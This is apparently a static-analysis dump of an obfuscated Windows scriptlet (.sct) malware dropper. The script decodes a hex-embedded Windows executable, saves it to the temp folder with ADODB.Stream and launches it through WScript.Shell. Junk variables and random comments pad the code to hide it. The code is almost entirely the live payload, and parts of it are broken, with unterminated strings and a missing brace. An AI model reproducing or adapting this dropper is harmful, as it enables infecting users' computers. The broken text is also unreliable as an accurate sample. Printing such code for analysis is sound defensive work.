Static Analysis

<?XML version="1.0624192176191186318127906661082012798399523412024076872372954120429959813061"?>

<!--rFEVbuYJVtnJokvXh pHTarboCcEvhMNpS-->

<scriptlet>

<registration

progid="27807719709294345336383252604738011036384297382658220565"

classid="{22966485-2296-5492-3193-408786179612}" >

<!--suoRUzzHSJaNitPBSaFuwWFNcEpNpcZhA WiQHwQWXHXfMPKwkTaGQiCArhdVBhhCJcGRHIUOwiEaNbRDfMIcMfLrzMABiVBQBACKkTIFYurIIBNnnFQOEdQEsv-->

<script language="JScript">

<![CDATA[

var hTunYOYQBrCdCQpAbaetHiXahKQuvRerffyuQJsfaAeoJhIXFMhcCFAYWuknYLEJvhXtyXJyJYt = "hUtyZQYREzFdFSnDbafBJiXahMRssSezffCsRLAhaDeyLhKXINhdFIDYWskyYNHMrhYABXLBLZBhdLAZbTOINbUINDzHDbiyWDdGkrILdPCGkyWsVkthZZYntBNYJfYJSdnKJUSRteGXKzBAGdLsQbzXEUnRHJbXRTNfetNbBFTWEbJXayDGFOSRPtiPMasNbJiRMttrBJUtkDEDssRnhGDeaWBRhYBArhUVVRtPbnhVTHKyTOEBrbIHhdRQVGfDnGdbIIHFZbkXBHrEteYCGZfnJzQSZHTHeNNzFJPsiYBnTKhKSyESHOXrBUDrSPFEnMUNUWZOAOrHJWAZkhZNdaZBQEYLhFDDFXZkQDQWzPETFCLEFDbMPSBkMFWCYAJUsRbLWkrQBezzHiVASFhNDQNNISGtGzXZiKINAZHynttMEbLFJIJFnVCFeAefMYrbiziXKnaTYSFiFbnGiaNYQEQtkdJaWCLsdrGfVOVBHQGBCsZdiIXLsstNJVQHKaWHinesHeLEhyDaXAVWdHUAFaaRYSHZYzQHTZrkiPGdWFGXTsQnaTEdiIdinyyPHLGRIVkXhNPzbRDZGdYNdzZfVOAsXdZUCRGsYOBXeSdyehaAfdMhzKNnMBWTGWaeOVWsskaSNbKrsMaPNahUCTHSeyKIRHCiSZKnnQfXbUDyaDYZBiiGQhMUzfiYIDaiLEDsdSHWVnTIBrSLzLkLBVBMzPUfKhAJTsNHaOWJLrKIyfEftGLXsBRPeRWyXCyQTrOhHsLKOKZisSArsQSeGDzEFXE"

var HvRYWLzoRWEWFzWLzdtuuTrPFUskJf = "4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000d00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000e5dd0408a1bc6a5ba1bc6a5ba1bc6a5b2fb4355ba3bc6a5ba1bc6b5b3abc6a5b22b4375bb0bc6a5bf59f5a5babbc6a5b66ba6c5ba0bc6a5b52696368a1bc6a5b00000000000000000000000000000000504500004c010500155aa0490000000000000000e0000f010b010600005a000000d2010000040000cb30000000100000007000000000400000100000000200000400000000000000040000000000000000d002000004000000000000020000000000100000100000000010000010000000000000100000000000000000000000a4730000b400000000c002002f0e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007000008c0200000000000000000000000000000000000000000000000000002e74657874000000ce58000000100000005a00000004000000000000000000000000000020

function KyzSFyKPMPwAJrhwLbfzIFpokHfYtiCYIsFnRhtTvhsRNdkhkpvbsoBfph( rvJpCzkNavXBwYceXdbPrZQi){

DXNIyRGMINOoIbnefazMWXKbQyyQVQZ = '';

for ( MoRpSTJMFyZuWwSTsEsbbMEodBnGwZaeEUVSwrYWhPaFeAyYtBYetvaZPD = 0; MoRpSTJMFyZuWwSTsEsbbMEodBnGwZaeEUVSwrYWhPaFeAyYtBYetvaZPD < ( rvJpCzkNavXBwYceXdbPrZQi.length / 2 ); MoRpSTJMFyZuWwSTsEsbbMEodBnGwZaeEUVSwrYWhPaFeAyYtBYetvaZPD++ ){

DXNIyRGMINOoIbnefazMWXKbQyyQVQZ+= String.fromCharCode( '0x' + rvJpCzkNavXBwYceXdbPrZQi.substr( MoRpSTJMFyZuWwSTsEsbbMEodBnGwZaeEUVSwrYWhPaFeAyYtBYetvaZPD * 2, 2 ) );

return DXNIyRGMINOoIbnefazMWXKbQyyQVQZ;

var vCdQIVStaUSzOaiZZwsHJuLFGwoIIiWUMI = new ActiveXObject("WScript.Shell");

var FQtXSRtkdthUnOnQHvVdCKSVtTVfGecCfYtrNArUoTvZNHteVCLBYbIVYBzSVfHYrJPssZWhVVQDuSkKCKwdzGDXwCtuVCYcvoKdRVOQAyAXvZCf = "odfvwwOQOHTzEMNyeGULhGrCWMrDNrFrTcLQNOsBzXDbudSSTNSunVJLGDcNIvuFtu"

var pMEbhaKecpXYpYfsdHzfNEEWkFfJHO = vCdQIVStaUSzOaiZZwsHJuLFGwoIIiWUMI.ExpandEnvironmentStrings("%temp%");

var fyfgreytrdy = pMEbhaKecpXYpYfsdHzfNEEWkFfJHO + "\\pWEHikeBwXuWpEMYtUfbNSyJrsKuPsAssHPZo.exe"

HvRYWLzoRWEWFzWLzdtuuTrPFUskJf = KyzSFyKPMPwAJrhwLbfzIFpokHfYtiCYIsFnRhtTvhsRNdkhkpvbsoBfph(HvRYWLzoRWEWFzWLzdtuuTrPFUskJf);

var JXJrCtEHnJVOAZCiECBikYTHzaQYrEfRiFzrPSJnZIanEUbCkDRJiaVLfb = "usLnhYbNDyGauJONeRWpZVypnRTOHXwcFyhNkPG"

inbvLQJyJFCP = new ActiveXObject("ADODB.Stream");

inbvLQJyJFCP.Type = 2;

var VrJfLiOJukTpRRUZHaROcIobETCKMpHuoUTdKoHRBchBNHhoMFuiRJzucHHSKdWdHHWWYQrozauZCRn = "AQEfbMXQEbsRk"

inbvLQJyJFCP.Charset = "ISO-8859-1";

var LWutKdpyBKUepnKNUFLbdpYyNztZSoBNGXHOBkoTLctYzkoWnNNiOIb = "MzWHuVuruG"

inbvLQJyJFCP.Open();

var UvVVJUuirOhLwLHeJoOBtPhASLrPFrIMOfGiwwuBViFIaDbbXMsAvOrffAcYFCHZhAXefzUzboF = "BPGrWWCJOZeEsEOFWsQYZrzSUabVKeDDDYWfQiHIQUtRYXQEa

inbvLQJyJFCP.WriteText(HvRYWLzoRWEWFzWLzdtuuTrPFUskJf);

inbvLQJyJFCP.SaveToFile(fyfgreytrdy);

var kIy = new ActiveXObject("WScript.Shell").Run(fyfgreytrdy);

var tVZCCCBzRSZyevXheYAEOAGKHVEyTKODeTtNccePYGIwwYFBdQUuffAW = "XbPnIBuJPcvHNHsUVPYZbvZr"

</script>

<!--VvtQOLkWfCEIaSQDJtBCcLdhTSrvurSOVRkZyKRePAcraLJeTyaNPXLpiwWWsXJPJ FYAWcYyNovIcLCdzvzcdwJWDKRwAZwCEUPUSBHPXcTwcLBOXZCDSOuRWbXvwOXOdOd-->

</registration>

<!--zWnMoSnTPwXDAKZVWiwMkWeAkLtttUfSsfiEAFhCLNDTeQHwsaSQMMRMSUDIAXCVefhrDBAtaNbBywrt TJyHLJNEAVbVrZQTnAztTpU-->

</scriptlet>

<!--EaLsULQotWAOwGaEPtfssGkhGJGPLBfJBJOasEtkTvSrCHEpWZHIUruXSiiTSJBbiQuARZVApo FQtXSRtkdthUnOnQHvVdCKSVtTVfGecCfYtrNArUoTvZNHteVCLBYbIVYBzSVfHYrJPssZWhVVQDuSkKCKwdzGDXwCtuVCYcvoKdRVOQAyAXvZCf-->